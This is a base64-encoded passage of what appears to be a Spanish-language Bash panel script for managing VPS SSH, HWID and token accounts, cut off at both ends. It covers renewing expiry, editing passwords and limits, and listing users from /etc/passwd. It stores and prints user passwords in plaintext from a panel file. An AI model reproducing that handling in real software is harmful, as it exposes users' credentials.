W14wLTldJykgXV07IHRoZW4KdXNlcmVkaXQ9IiR7dXN1YXJpb3NfYXRpdm9zWyRzZWxlY3Rpb25dfSIKZWxzZQp1c2VyZWRpdD0iJHNlbGVjdGlvbiIKZmkKW1sgLXogJHVzZXJlZGl0IF1dICYmIHsKICAgICBtc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJFcnJvciwgVXN1YXJpbyBJbnZhbGlkbyIpIgogICAgIG1zZyAtYmFyCiAgICAgcmV0dXJuIDEKICAgICB9CltbICEgJChlY2hvICR7dXN1YXJpb3NfYXRpdm9zW0BdfXxncmVwIC13ICIkdXNlcmVkaXQiKSBdXSAmJiB7CiAgICAgbXNnIC12ZXJtICIkKGZ1bl90cmFucyAiRXJyb3IsIFVzdWFyaW8gSW52YWxpZG8iKSIKICAgICBtc2cgLWJhcgogICAgIHJldHVybiAxCiAgICAgfQp3aGlsZSB0cnVlOyBkbwogICAgIG1zZyAtbmUgIk51ZXZvIFRpZW1wbyBkZSBEdXJhY2lvbiBkZTpcMDMzWzE7MzdtICR1c2VyZWRpdFxlWzMzbSIKICAgICByZWFkIC1wICI6ICIgZGlhc3VzZXIKICAgICBpZiBbWyAteiAiJGRpYXN1c2VyIiBdXTsgdGhlbgogICAgIGVjaG8gLWUgJ1xuXG5cbicKICAgICBlcnJfZnVuIDcgJiYgY29udGludWUKICAgICBlbGlmIFtbICIkZGlhc3VzZXIiICE9ICsoWzAtOV0pIF1dOyB0aGVuCiAgICAgZWNobyAtZSAnXG5cblxuJwogICAgIGVycl9mdW4gOCAmJiBjb250aW51ZQogICAgIGVsaWYgW1sgIiRkaWFzdXNlciIgLWd0ICIzNjAiIF1dOyB0aGVuCiAgICAgZWNobyAtZSAnXG5cblxuJwogICAgIGVycl9mdW4gOSAmJiBjb250aW51ZQogICAgIGZpCiAgICAgYnJlYWsKZG9uZQptc2cgLWJhcgpyZW5vdmFyX2h3aWQgIiR7dXNlcmVkaXR9IiAiJHtkaWFzdXNlcn0iIAptc2cgLWJhcgptc2cgLW5lICIgRW50ZXIgUGFyYSBDb250aW51YXIiICYmIHJlYWQgZW50ZXIKJHtTQ1B1c3J9L3VzZXJjb2Rlcwp9CnJlbmV3X3Rva2VuICgpIHsKY2xlYXIKY2xlYXIKI21zZyAtYmFyCnVzdWFyaW9zX2F0aXZvcz0oJycgJChtb3N0cmFyX3Rva2VuKSkKaWYgW1sgLXogJHt1c3Vhcmlvc19hdGl2b3NbQF19IF1dOyB0aGVuCm1zZyAtdGl0Cm1zZyAtdmVybSAiJChmdW5fdHJhbnMgIiBSRU5PVkFSIFVTVUFSSU8gVE9LRU58IE5pbmd1biB1c3VhcmlvIHJlZ2lzdHJhZG8iKSIKbXNnIC1iYXIKcmV0dXJuIDEKZWxzZQptc2cgLXRpdAptc2cgLWFtYSAiJChmdW5fdHJhbnMgIiBSRU1PVkFSIFVTVUFSSU8gVE9LRU4gfCBVc3VhcmlvcyBBY3Rpdm9zIGVuIGVsIFNlcnZpZG9yIikiCm1zZyAtYmFyCmk9MQpmb3IgdXMgaW4gJChlY2hvICR7dXN1YXJpb3NfYXRpdm9zW0BdfSk7IGRvCnBhc3M9JChjYXQgIi9ldGMvcGFzc3dkInxncmVwIC13ICIkdXMifGF3ayAtRiAnOicgJ3twcmludCAkNX0nfGN1dCAtZCAnLCcgLWYyKQoJCVtbICIkeyNwYXNzfSIgLWd0ICcxMScgXV0gJiYgcGFzcz0iPz8/PyIKCQlwYXNzPSIkKHByaW50ZiAnJS0zcycgIiRwYXNzIikiCgkJCgkJY2xpZW50ZT0iJChtc2cgLXZlcmQgIiRpIikkKG1zZyAtdmVybTIgIj4iKSQobXNnIC1henUgIiR7dXN9IikiCgkJbm9tYnJlPSJcZVsxOzU1bSR7cGFzc30iCgkJZWNobyAtZSAiJGNsaWVudGUgJG5vbWJyZSIKI21zZyAtbmUgIlskaV0gLT4iICYmIGVjaG8gLWUgIlwwMzNbMTszM20gJHt1c30iCmxldCBpKysKZG9uZQptc2cgLWJhcgpmaQptc2cgLWFtYSAiJChmdW5fdHJhbnMgIkVzY3JpYmEgbyBzZWxlY2Npb25lIHVuIFVzdWFyaW8iKSIKbXNnIC1iYXIKdW5zZXQgc2VsZWN0aW9uCndoaWxlIFtbIC16ICR7c2VsZWN0aW9ufSBdXTsgZG8KZWNobyAtbmUgIlwwMzNbMTszN20kKGZ1bl90cmFucyAiU2VsZWNjaW9uZSB1bmEgT3BjaW9uIik6ICIgJiYgcmVhZCBzZWxlY3Rpb24KdHB1dCBjdXUxCnRwdXQgZGwxCmRvbmUKaWYgW1sgISAkKGVjaG8gIiR7c2VsZWN0aW9ufSIgfCBlZ3JlcCAnW14wLTldJykgXV07IHRoZW4KdXNlcmVkaXQ9IiR7dXN1YXJpb3NfYXRpdm9zWyRzZWxlY3Rpb25dfSIKZWxzZQp1c2VyZWRpdD0iJHNlbGVjdGlvbiIKZmkKW1sgLXogJHVzZXJlZGl0IF1dICYmIHsKICAgICBtc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJFcnJvciwgVXN1YXJpbyBJbnZhbGlkbyIpIgogICAgIG1zZyAtYmFyCiAgICAgcmV0dXJuIDEKICAgICB9CltbICEgJChlY2hvICR7dXN1YXJpb3NfYXRpdm9zW0BdfXxncmVwIC13ICIkdXNlcmVkaXQiKSBdXSAmJiB7CiAgICAgbXNnIC12ZXJtICIkKGZ1bl90cmFucyAiRXJyb3IsIFVzdWFyaW8gSW52YWxpZG8iKSIKICAgICBtc2cgLWJhcgogICAgIHJldHVybiAxCiAgICAgfQp3aGlsZSB0cnVlOyBkbwogICAgIG1zZyAtbmUgIk51ZXZvIFRpZW1wbyBkZSBEdXJhY2lvbiBkZTpcMDMzWzE7MzdtICR1c2VyZWRpdFxlWzMzbSIKICAgICByZWFkIC1wICI6ICIgZGlhc3VzZXIKICAgICBpZiBbWyAteiAiJGRpYXN1c2VyIiBdXTsgdGhlbgogICAgIGVjaG8gLWUgJ1xuXG5cbicKICAgICBlcnJfZnVuIDcgJiYgY29udGludWUKICAgICBlbGlmIFtbICIkZGlhc3VzZXIiICE9ICsoWzAtOV0pIF1dOyB0aGVuCiAgICAgZWNobyAtZSAnXG5cblxuJwogICAgIGVycl9mdW4gOCAmJiBjb250aW51ZQogICAgIGVsaWYgW1sgIiRkaWFzdXNlciIgLWd0ICIzNjAiIF1dOyB0aGVuCiAgICAgZWNobyAtZSAnXG5cblxuJwogICAgIGVycl9mdW4gOSAmJiBjb250aW51ZQogICAgIGZpCiAgICAgYnJlYWsKZG9uZQptc2cgLWJhcgpyZW5vdmFyX3Rva2VuICIke3VzZXJlZGl0fSIgIiR7ZGlhc3VzZXJ9IiAKbXNnIC1iYXIKbXNnIC1uZSAiIEVudGVyIFBhcmEgQ29udGludWFyIiAmJiByZWFkIGVudGVyCiR7U0NQdXNyfS91c2VyY29kZXMKfQptZW51X3Jlbm92YSgpewpjbGVhcgojbXNnIC1iYXIKbXNnIC10aXQKbXNnIC1hbWEgIiBcZVsxOzMzbVsxXSBcZVsxOzM3bVJFTk9WQVIgQ1VFTlRBUyBTU0ggIFxuIFxlWzE7MzNtWzJdIFxlWzE7MzdtUkVOT1ZBUiBDVUVOVEFTIEhXSURcbiBcZVsxOzMzbVszXSBcZVsxOzM3bVJFTk9WQVIgQ1VFTlRBUyBUT0tFTlxuIFxlWzE7MzFtWzBdIFxlWzE7MzdtPC0gVk9MVkVSIgptc2cgLWJhcgpyZWFkIC1wICIgJChlY2hvIC1lICJcZVsxOzM3bVNlbGVjY2lvbmUgVW5hIE9wY2lvbiBbMS8zXTpcZVsxOzMzbSIpICIgY3VlbgpjYXNlICRjdWVuIGluCjEpcmVuZXdfdXNlcjs7CjIpcmVuZXdfaHdpZDs7CjMpcmVuZXdfdG9rZW47OwowKSR7U0NQdXNyfS91c2VyY29kZXM7Owplc2FjCn0KW1sgISAtZCAvdXNyL2xvY2FsL2xpYnJlcmlhIF1dICYmIGV4aXQKZWRpdF91c2VyICgpIHsKY2xlYXIKY2xlYXIKI21zZyAtYmFyCnVzdWFyaW9zX2F0aXZvcz0oJycgJChtb3N0cmFyX3VzZXIpKQppZiBbWyAteiAke3VzdWFyaW9zX2F0aXZvc1tAXX0gXV07IHRoZW4KbXNnIC10aXQKbXNnIC12ZXJtICIkKGZ1bl90cmFucyAiIEVESVRUQVIgVVNFUiB8IE5pbmd1biB1c3VhcmlvIHJlZ2lzdHJhZG8iKSIKbXNnIC1iYXIKcmV0dXJuIDEKZWxzZQptc2cgLXRpdAptc2cgLWFtYSAiJChmdW5fdHJhbnMgIiBFRElUVEFSIFVTRVIgfCBVc3VhcmlvcyBBY3Rpdm9zIGRlbCBTZXJ2aWRvciIpIgptc2cgLWJhcgppPTEKZm9yIHVzIGluICQoZWNobyAke3VzdWFyaW9zX2F0aXZvc1tAXX0pOyBkbwptc2cgLW5lICJbJGldIC0+IiAmJiBlY2hvIC1lICJcMDMzWzE7MzNtICR7dXN9IgpsZXQgaSsrCmRvbmUKbXNnIC1iYXIKZmkKbXNnIC1hbWEgIiQoZnVuX3RyYW5zICJFc2NyaWJhIG8gc2VsZWNjaW9uZSB1biBVc3VhcmlvIikiCm1zZyAtYmFyCnVuc2V0IHNlbGVjdGlvbgp3aGlsZSBbWyAteiAke3NlbGVjdGlvbn0gXV07IGRvCmVjaG8gLW5lICJcMDMzWzE7MzdtJChmdW5fdHJhbnMgIlNlbGVjY2lvbmUgdW5hIE9wY2lvbiIpOiAiICYmIHJlYWQgc2VsZWN0aW9uCnRwdXQgY3V1MTsgdHB1dCBkbDEKZG9uZQppZiBbWyAhICQoZWNobyAiJHtzZWxlY3Rpb259IiB8IGVncmVwICdbXjAtOV0nKSBdXTsgdGhlbgp1c2VyZWRpdD0iJHt1c3Vhcmlvc19hdGl2b3NbJHNlbGVjdGlvbl19IgplbHNlCnVzZXJlZGl0PSIkc2VsZWN0aW9uIgpmaQpbWyAteiAkdXNlcmVkaXQgXV0gJiYgewogICAgIG1zZyAtdmVybSAiJChmdW5fdHJhbnMgIkVycm9yLCBVc3VhcmlvIEludmFsaWRvIikiCiAgICAgbXNnIC1iYXIKICAgICByZXR1cm4gMQogICAgIH0KW1sgISAkKGVjaG8gJHt1c3Vhcmlvc19hdGl2b3NbQF19fGdyZXAgLXcgIiR1c2VyZWRpdCIpIF1dICYmIHsKICAgICBtc2cgLXZlcm0gIiQoZnVuX3RyYW5zICJFcnJvciwgVXN1YXJpbyBJbnZhbGlkbyIpIgogICAgIG1zZyAtYmFyCiAgICAgcmV0dXJuIDEKICAgICB9CndoaWxlIHRydWU7IGRvCm1zZyAtbmUgIiQoZnVuX3RyYW5zICJVc3VhcmlvIFNlbGVjY2lvbmFkbyIpOiAiICYmIGVjaG8gLWUgIiR1c2VyZWRpdCIKICAgICBtc2cgLW5lICJOdWV2YSBDb250cmFzZcOxYSBkZTpcMDMzWzE7MzNtICR1c2VyZWRpdCIKICAgICByZWFkIC1wICI6ICIgc2VuaGF1c2VyCiAgICAgaWYgW1sgLXogIiRzZW5oYXVzZXIiIF1dOyB0aGVuCiAgICAgZXJyX2Z1biA0ICYmIGNvbnRpbnVlCiAgICAgZWxpZiBbWyAiJHsjc2VuaGF1c2VyfSIgLWx0ICIzIiBdXTsgdGhlbgogICAgIGVycl9mdW4gNSAmJiBjb250aW51ZQogICAgIGVsaWYgW1sgIiR7I3NlbmhhdXNlcn0iIC1ndCAiMTAiIF1dOyB0aGVuCiAgICAgZXJyX2Z1biA2ICYmIGNvbnRpbnVlCiAgICAgZmkKICAgICBicmVhawpkb25lCndoaWxlIHRydWU7IGRvCiAgICAgbXNnIC1uZSAiRGlhcyBkZSBEdXJhY2lvbiBkZTpcMDMzWzE7MzNtICR1c2VyZWRpdCIKICAgICByZWFkIC1wICI6ICIgZGlhc3VzZXIKICAgICBpZiBbWyAteiAiJGRpYXN1c2VyIiBdXTsgdGhlbgogICAgIGVycl9mdW4gNyAmJiBjb250aW51ZQogICAgIGVsaWYgW1sgIiRkaWFzdXNlciIgIT0gKyhbMC05XSkgXV07IHRoZW4KICAgICBlcnJfZnVuIDggJiYgY29udGludWUKICAgICBlbGlmIFtbICIkZGlhc3VzZXIiIC1ndCAiMzYwIiBdXTsgdGhlbgogICAgIGVycl9mdW4gOSAmJiBjb250aW51ZQogICAgIGZpCiAgICAgYnJlYWsKZG9uZQp3aGlsZSB0cnVlOyBkbwogICAgIG1zZyAtbmUgIk51ZXZvIExpbWl0ZSBkZSBDb25leGlvbiBkZTpcMDMzWzE7MzNtICR1c2VyZWRpdCIKICAgICByZWFkIC1wICI6ICIgbGltaXRldXNlcgogICAgIGlmIFtbIC16ICIkbGltaXRldXNlciIgXV07IHRoZW4KICAgICBlcnJfZnVuIDExICYmIGNvbnRpbnVlCiAgICAgZWxpZiBbWyAiJGxpbWl0ZXVzZXIiICE9ICsoWzAtOV0pIF1dOyB0aGVuCiAgICAgZXJyX2Z1biAxMiAmJiBjb250aW51ZQogICAgIGVsaWYgW1sgIiRsaW1pdGV1c2VyIiAtZ3QgIjk5OSIgXV07IHRoZW4KICAgICBlcnJfZnVuIDEzICYmIGNvbnRpbnVlCiAgICAgZmkKICAgICBicmVhawpkb25lCmVjaG8gIiIKbXNnIC1iYXIKICAgICBlZGl0X3VzZXJfZnVuICIke3VzZXJlZGl0fSIgIiR7c2VuaGF1c2VyfSIgIiR7ZGlhc3VzZXJ9IiAiJHtsaW1pdGV1c2VyfSIgIyYmIG1zZyAtYW1hICIkKGZ1bl90cmFucyAiVXN1YXJpbyBNb2RpZmljYWRvIENvbiBFeGl0byIpIiAmJiBybSAtcmYgJHtTQ1B1c3J9L0xpbWl0ZXIubG9nIHx8IG1zZyAtdmVybSAiJChmdW5fdHJhbnMgIkVycm9yLCBVc3VhcmlvIG5hbyBNb2RpZmljYWRvIikiCiAgICAgbXNnIC1uZSAiJChmdW5fdHJhbnMgIiA+PiBVc3VhcmlvIik6ICIgJiYgZWNobyAtZSAiJHVzZXJlZGl0IgogICAgIG1zZyAtbmUgIiQoZnVuX3RyYW5zICIgPj4gQ29udHJhc2XDsWEiKTogIiAmJiBlY2hvIC1lICIkc2VuaGF1c2VyIgogICAgIG1zZyAtbmUgIiQoZnVuX3RyYW5zICIgPj4gRGlhcyBkZSBEdXJhY2lvbiIpOiAiICYmIGVjaG8gLWUgIiRkaWFzdXNlciIKICAgICBtc2cgLW5lICIkKGZ1bl90cmFucyAiID4+IEZlY2hhIGRlIEV4cGlyYWNpb24iKTogIiAmJiBlY2hvIC1lICIkKGRhdGUgIislRiIgLWQgIiArICRkaWFzdXNlciBkYXlzIikiCiAgICAgbXNnIC1uZSAiJChmdW5fdHJhbnMgIiA+PiBMaW1pdGUgZGUgQ29uZXhpb24iKTogIiAmJiBlY2hvIC1lICIkbGltaXRldXNlciIKbXNnIC1iYXIKCm1zZyAtbmUgIiBFbnRlciBQYXJhIENvbnRpbnVhciIgJiYgcmVhZCBlbnRlcgoke1NDUHVzcn0vdXNlcmNvZGVzCn0KZGF0YV9od2lkKCl7CmNsZWFyCiNtc2cgLWJhcgptc2cgLXRpdAptc2cgLWFtYSAiJChmdW5fdHJhbnMgIiAgICAgICAgSU5GT1JNQUNJT04gREUgVVNVQVJJT1MgSFdJRCBSRUdJU1RSQURPUyAiKSIKbXNnIC1iYXIKICBjYXRfdXNlcnM9JChjYXQgIi9ldGMvcGFzc3dkInxncmVwICdob21lJ3xncmVwICdod2lkJ3xncmVwIC12ICdzeXNsb2cnKQogCglkYXRfdXM9JChwcmludGYgJyUtMzBzJS03cyUtNnMlcycgJ0NMSUVOVEUnICdOT05CUkUnICdESUFTJyAnU1RBVFVTJykKCW1zZyAtYXp1ICIgIFxlWzE7OTdtXGVbMTsxMDBtJGRhdF91cyIKCW1zZyAtYmFyCgoJaT0xCglmb3IgdSBpbiBgZWNobyAiJHtjYXRfdXNlcnN9Inxhd2sgLUYgJzonICd7cHJpbnQgJDF9J2A7IGRvCgogICAgZml4X2h3aWRfdG9rZW49JChlY2hvICIke2NhdF91c2Vyc30ifGdyZXAgLXcgIiR1Inxhd2sgLUYgJzonICd7cHJpbnQgJDV9J3xjdXQgLWQgJywnIC1mMSkgJiYgW1sgIiR7Zml4X2h3aWRfdG9rZW59IiAhPSBAKGh3aWQpIF1dICYmIGNvbnRpbnVlCgoJCWZlY2hhPSQoY2hhZ2UgLWwgIiR1InxzZWQgLW4gJzRwJ3xhd2sgLUYgJzogJyAne3ByaW50ICQyfScpCgoJCW1lc19kaWE9JChlY2hvICRmZWNoYXxhd2sgLUYgJywnICd7cHJpbnQgJDF9J3xzZWQgJ3MvIC8vZycpCgkJYW5vPSQoZWNobyAkZmVjaGF8YXdrIC1GICcsICcgJ3twcmludGYgJDJ9J3xjdXQgLWMgMy0pCgkJdXM9JChwcmludGYgJyUtMXMnICIkdSIpCgkJCgkJcGFzcz0kKGNhdCAiL2V0Yy9wYXNzd2QifGdyZXAgLXcgIiR1Inxhd2sgLUYgJzonICd7cHJpbnQgJDV9J3xjdXQgLWQgJywnIC1mMikKCQlbWyAiJHsjcGFzc30iIC1ndCAnMTInIF1dICYmIHBhc3M9Ij8/Pz8iCgkJcGFzcz0iJChwcmludGYgJyUtM3MnICIkcGFzcyIpIgoKCQl1bnNldCBzdGF0CgkJaWYgW1sgJChwYXNzd2QgLS1zdGF0dXMgJHV8Y3V0IC1kICcgJyAtZjIpID0gIlAiIF1dOyB0aGVuCgkJCXN0YXQ9IiQobXNnIC12ZXJkICLwn5OhICIpIgoJCWVsc2UKCQkJc3RhdD0iJChtc2cgLXZlcm0yICLwn5O1ICIpIgoJCWZpCgoJCWNsaWVudGU9IiQobXNnIC12ZXJkICIkaSIpJChtc2cgLXZlcm0yICI+IikkKG1zZyAtYXp1ICIke3V9IikiCgkJaWYgW1sgJChlY2hvICRmZWNoYXxhd2sgJ3twcmludCAkMn0nKSA9ICIiIF1dOyB0aGVuCgkJCWV4cD0iJChwcmludGYgJyUtMnMnICdbWFhdJykiCgkJCSNleHArPSIkKHByaW50ZiAnJS0ycycgJ1tYXScpIgoJCQkjdmlnPSIkKG1zZyAtdmVybTIgIiRmZWNoYSIpJChtc2cgLXZlcm0yICIkZXhwIikgJChlY2hvIC1lICIkc3RhdCIpIgoJCQl2aWc9IiQobXNnIC12ZXJtMiAiJGV4cCIpICAgJChlY2hvIC1lICIkc3RhdCIpIgoJCWVsc2UKCQkJaWYgW1sgJChkYXRlICslcykgLWd0ICQoZGF0ZSAnKyVzJyAtZCAiJHtmZWNoYX0iKSBdXTsgdGhlbgoJCQkJZXhwPSIkKHByaW50ZiAnJS0ycycgIkV4cCIpIgoJCQkJI2VjaG8gIiAkKG1zZyAtdmVybTIgIiRmZWNoYSIpJChtc2cgLXZlcmQgIiRleHAiKSAkKGVjaG8gLWUgIiRzdGF0IikiCgkJCQllY2hvICIgJChtc2cgLXZlcm0yICIkZXhwIikgICAkKGVjaG8gLWUgIiRzdGF0IikiCgkJCWVsc2UKCQkJCUVYUFRJTUU9IiQoKCQoKCQoZGF0ZSAnKyVzJyAtZCAiJHtmZWNoYX0iKSAtICQoZGF0ZSArJXMpKSkgLyA4NjQwMCkpIgoJCQkJaWYgW1sgIiR7I0VYUFRJTUV9IiA9ICIxIiBdXTsgdGhlbgogICAgICAgICAgICBleHA9IiQocHJpbnRmICclLTJzJyAiWyRFWFBUSU1FXSIpIgogICAgICAgIGVsaWYgW1sgIiR7I0VYUFRJTUV9IiA9ICIyIiBdXTsgdGhlbgogICAgICAgICAgICBleHA9IiQocHJpbnRmICclLTJzJyAiWyRFWFBUSU1FXSIpIgogICAgICAgIGVsc2UKICAgICAgICAgICAgZXhwPSIkKHByaW50ZiAnJS0ycycgIlskRVhQVElNRV0iKSIKICAgICAgICBmaQoJCQkJI3ZpZz0iJChtc2cgLXZlcm0yICIkbWVzX2RpYS8kYW5vIikkKG1zZyAtdmVyZCAiJGV4cCIpJChlY2hvIC1lICIkc3RhdCIpIgoJCQkJdmlnPSIgJChtc2cgLXZlcmQgIiRleHAiKSAgICQoZWNobyAtZSAiJHN0YXQiKSIKCQkJZmkKCQlmaQoJCW5vbWJyZT0iXGVbMTs1NW0ke3Bhc3N9IgoJCWVjaG8gLWUgIiRjbGllbnRlICRub21icmUgJHZpZyIKICAgIG1zZyAtYmFyMwoJCWxldCBpKysKCWRvbmUKIyAgdHB1dCBjdXUxICYmIHRwdXQgZGwxCm1zZyAtYmFyCgp9CmRhdGFfdG9rZW4oKXsKY2xlYXIKI21zZyAtYmFyCm1zZyAtdGl0Cm1zZyAtYW1hICIkKGZ1bl90cmFucyAiICAgICAgICBJTkZPUk1BQ0lPTiBERSBVU1VBUklPUyBUT0tFTiBSRUdJU1RSQURPUyAiKSIKbXNnIC1iYXIKICBjYXRfdXNlcnM9JChjYXQgIi9ldGMvcGFzc3dkInxncmVwICdob21lJ3xncmVwICd0b2tlbid8Z3JlcCAtdiAnc3lzbG9nJykKIAoJZGF0X3VzPSQocHJpbnRmICclLTE2cyUtMTFzJS03cyUtNnMlcycgJ0NMSUVOVEUnICdOT01CUkUnICdGRUNIQScgJ0RJQVMnICdTVEFUVVMnKQoJbXNnIC1hbWEgIiAgICBcZVsxOzk3bVxlWzE7MTAwbSRkYXRfdXMiCgltc2cgLWJhcgoKCWk9MQoJZm9yIHUgaW4gYGVjaG8gIiR7Y2F0X3VzZXJzfSJ8YXdrIC1GICc6JyAne3ByaW50ICQxfSdgOyBkbwoKICAgIGZpeF9od2lkX3Rva2VuPSQoZWNobyAiJHtjYXRfdXNlcnN9InxncmVwIC13ICIkdSJ8YXdrIC1GICc6JyAne3ByaW50ICQ1fSd8Y3V0IC1kICcsJyAtZjEpICYmIFtbICIke2ZpeF9od2lkX3Rva2VufSIgIT0gQCh0b2tlbikgXV0gJiYgY29udGludWUKCgkJZmVjaGE9JChjaGFnZSAtbCAiJHUifHNlZCAtbiAnNHAnfGF3ayAtRiAnOiAnICd7cHJpbnQgJDJ9JykKCgkJbWVzX2RpYT0kKGVjaG8gJGZlY2hhfGF3ayAtRiAnLCcgJ3twcmludCAkMX0nfHNlZCAncy8gLy9nJykKCQlhbm89JChlY2hvICRmZWNoYXxhd2sgLUYgJywgJyAne3ByaW50ZiAkMn0nfGN1dCAtYyAzLSkKCQl1cz0kKHByaW50ZiAnJS0zcycgIiR1IikKCQkKCQl1c2VyPSQoY2F0ICIvZXRjL3Bhc3N3ZCJ8Z3JlcCAtdyAiJHUifGF3ayAtRiAnOicgJ3twcmludCAkNX0nfGN1dCAtZCAnLCcgLWYyKQoJCVtbICIkeyN1c2VyfSIgLWd0ICcxMicgXV0gJiYgdXNlcj0iPz8/PyIKCQl1c2VyPSIkKHByaW50ZiAnJS05cycgIiR1c2VyIikiCgkJCgkJdW5zZXQgc3RhdAoJCWlmIFtbICQocGFzc3dkIC0tc3RhdHVzICR1fGN1dCAtZCAnICcgLWYyKSA9ICJQIiBdXTsgdGhlbgoJCQlzdGF0PSIkKG1zZyAtdmVyZCAi8J+ToSAiKSIKCQllbHNlCgkJCXN0YXQ9IiQobXNnIC12ZXJtMiAi8J+TtSAiKSIKCQlmaQoJCQoJCWNsaWVudGU9IiQobXNnIC12ZXJkICIkaSIpJChtc2cgLXZlcm0yICItIikkKG1zZyAtYW1hICIgJHt1fSIpIgoJCWlmIFtbICQoZWNobyAkZmVjaGF8YXdrICd7cHJpbnQgJDJ9JykgPSAiIiBdXTsgdGhlbgoJCQlleHA9IiQocHJpbnRmICclLTZzJyAnW1hdJykiCgkJCSNleHArPSIkKHByaW50ZiAnJS00cycgJ1tYXScpIgoJCQl2aWc9IiAkKG1zZyAtdmVybTIgIiRmZWNoYSIpJChtc2cgLXZlcm0yICIkZXhwIikgICQoZWNobyAtZSAiJHN0YXQiKSIKCQllbHNlCgkJCWlmIFtbICQoZGF0ZSArJXMpIC1ndCAkKGRhdGUgJyslcycgLWQgIiR7ZmVjaGF9IikgXV07IHRoZW4KCQkJCWV4cD0iJChwcmludGYgJyUtNnMnICJFeHAiKSIKCQkJCXZpZz0iJChtc2cgLXZlcm0yICIkbWVzX2RpYS8kYW5vIikkKG1zZyAtdmVybTIgIiRleHAiKSAgJChlY2hvIC1lICIkc3RhdCIpIgoJCQllbHNlCgkJCQlFWFBUSU1FPSIkKCgkKCgkKGRhdGUgJyslcycgLWQgIiR7ZmVjaGF9IikgLSAkKGRhdGUgKyVzKSkpIC8gODY0MDApKSIKCQkJCWlmIFtbICIkeyNFWFBUSU1FfSIgPSAiMSIgXV07IHRoZW4KICAgICAgICAgICAgZXhwPSIkKHByaW50ZiAnJS02cycgIiBbJEVYUFRJTUVdIikiCiAgICAgICAgZWxpZiBbWyAiJHsjRVhQVElNRX0iID0gIjIiIF1dOyB0aGVuCiAgICAgICAgICAgIGV4cD0iJChwcmludGYgJyUtNnMnICIgWyRFWFBUSU1FXSIpIgogICAgICAgIGVsc2UKICAgICAgICAgICAgZXhwPSIkKHByaW50ZiAnJS02cycgIiBbJEVYUFRJTUVdIikiCiAgICAgICAgZmkKCQkJCXZpZz0iJChtc2cgLXZlcm0yICIkbWVzX2RpYS8kYW5vIikkKG1zZyAtdmVyZCAiJGV4cCIpICAkKGVjaG8gLWUgIiRzdGF0IikiCgkJCWZpCgkJZmkKCQkKCQlub21icmU9IiQobXNnIC12ZXJkICIke3VzZXJ9IikiCgkJZWNobyAtZSAiJGNsaWVudGUgJG5vbWJyZSAkdmlnIiAgCiAgICBtc2cgLWJhcjMKCQlsZXQgaSsrCglkb25lCiMgIHRwdXQgY3V1MSAmJiB0cHV0IGRsMQptc2cgLWJhcgoKfQpkYXRhX3VzZXIoKXsKY2xlYXIKI21zZyAtYmFyCm1zZyAtdGl0Cm1zZyAtYW1hICIkKGZ1bl90cmFucyAiICAgICAgICBJTkZPUk1BQ0lPTiBERSBVU1VBUklPUyBTU0ggUkVHSVNUUkFET1MgIikiCm1zZyAtYmFyMgoJY2F0X3VzZXJzPSQoY2F0ICIvZXRjL3Bhc3N3ZCJ8Z3JlcCAnaG9tZSd8Z3JlcCAnZmFsc2UnfGdyZXAgLXYgJ3N5c2xvZycpCgkjZGF0X3VzPSQocHJpbnRmICclLTExcyUtMTNzJS0xNXMlLTRzJS02cyVzJyAnVXN1YXJpbycgJ0NvbnRyYXNlw7FhJyAnIEZlY2hhJyAnRGlhJyAnTGltaXQnICdTdGF0dXMnKQoJZGF0X3VzPSIgVXN1YXJpbyAgQ29udHJhc2XDsWEgICAgRmVjaGEgIERpYSAgTGltaXQgU3RhdHVzIgoJbXNnIC1hbWEgIiAgXGVbMTs5N21cZVsxOzEwMG0kZGF0X3VzIgoJbXNnIC1iYXIKCglpPTEKCWZvciB1IGluIGBlY2hvICIke2NhdF91c2Vyc30ifGF3ayAtRiAnOicgJ3twcmludCAkMX0nYDsgZG8KCgkJZml4X2h3aWRfdG9rZW49JChlY2hvICIke2NhdF91c2Vyc30ifGdyZXAgLXcgIiR1Inxhd2sgLUYgJzonICd7cHJpbnQgJDV9J3xjdXQgLWQgJywnIC1mMSkgJiYgW1sgIiR7Zml4X2h3aWRfdG9rZW59IiA9IEAoaHdpZHx0b2tlbikgXV0gJiYgY29udGludWUKCgkJZmVjaGE9JChjaGFnZSAtbCAiJHUifHNlZCAtbiAnNHAnfGF3ayAtRiAnOiAnICd7cHJpbnQgJDJ9JykKCQkjZmVjaGE9JChjYXQgJHtVU1JkYXRhYmFzZX18Z3JlcCAtdyAiJHUifGN1dCAtZCd8JyAtZjMpCgkJbWVzX2RpYT0kKGVjaG8gJGZlY2hhfGF3ayAtRiAnLCcgJ3twcmludCAkMX0nfHNlZCAncy8gLy9nJykKCQlhbm89JChlY2hvICRmZWNoYXxhd2sgLUYgJywgJyAne3ByaW50ZiAkMn0nfGN1dCAtYyAzLSkKCQl1cz0kKHByaW50ZiAnJS05cycgIiR1IikKCQoJCXBhc3M9JChjYXQgL2V0Yy9WUFMtTVgvVlBTLU1YdXNlcnxncmVwIC13ICIkdSJ8Y3V0IC1kJ3wnIC1mMikKCQkjcGFzcz0kKGNhdCAiL2V0Yy9wYXNzd2QifGdyZXAgLXcgIiR1Inxhd2sgLUYgJzonICd7cHJpbnQgJDV9J3xjdXQgLWQgJywnIC1mMikKCQkjW1sgIiR7I3Bhc3N9IiAtZ3QgJzEyJyBdXSAmJiBwYXNzPSJkdXBsaWNhZGEiCgkJcGFzcz0iJChwcmludGYgJyUtMTBzJyAiJHBhc3MiKSIKCQoJdW5zZXQgc3RhdAoJCWlmIFtbICQocGFzc3dkIC0tc3RhdHVzICR1fGN1dCAtZCAnICcgLWYyKSA9ICJQIiBdXTsgdGhlbgoJCQlzdGF0PSIkKG1zZyAtdmVyZCAi8J+ToSAiKSIKCQllbHNlCgkJCXN0YXQ9IiQobXNnIC12ZXJtMiAi8J+TtSAiKSIKCQlmaQoJCkxpbWl0PSQoY2F0IC9ldGMvVlBTLU1YL1ZQUy1NWHVzZXJ8Z3JlcCAtdyAiJHUifGN1dCAtZCd8JyAtZjQpCgkJI0xpbWl0PSQoY2F0ICIvZXRjL3Bhc3N3ZCJ8Z3JlcCAtdyAiJHUifGF3ayAtRiAnOicgJ3twcmludCAkNX0nfGN1dCAtZCAnLCcgLWYxKQoJCVtbICIkeyNMaW1pdH0iID0gIjEiIF1dICYmIExpbWl0PSQocHJpbnRmICclM3MnICIkTGltaXQiKSB8fCBMaW1pdD0kKHByaW50ZiAnJS0zcycgIiRMaW1pdCIpCgoJCWVjaG8gLW5lICIkKG1zZyAtdmVyZCAiJGkiKSQobXNnIC12ZXJtMiAiPiIpJChtc2cgLWF6dSAiJHt1c30iKSAkKG1zZyAtYXp1ICIke3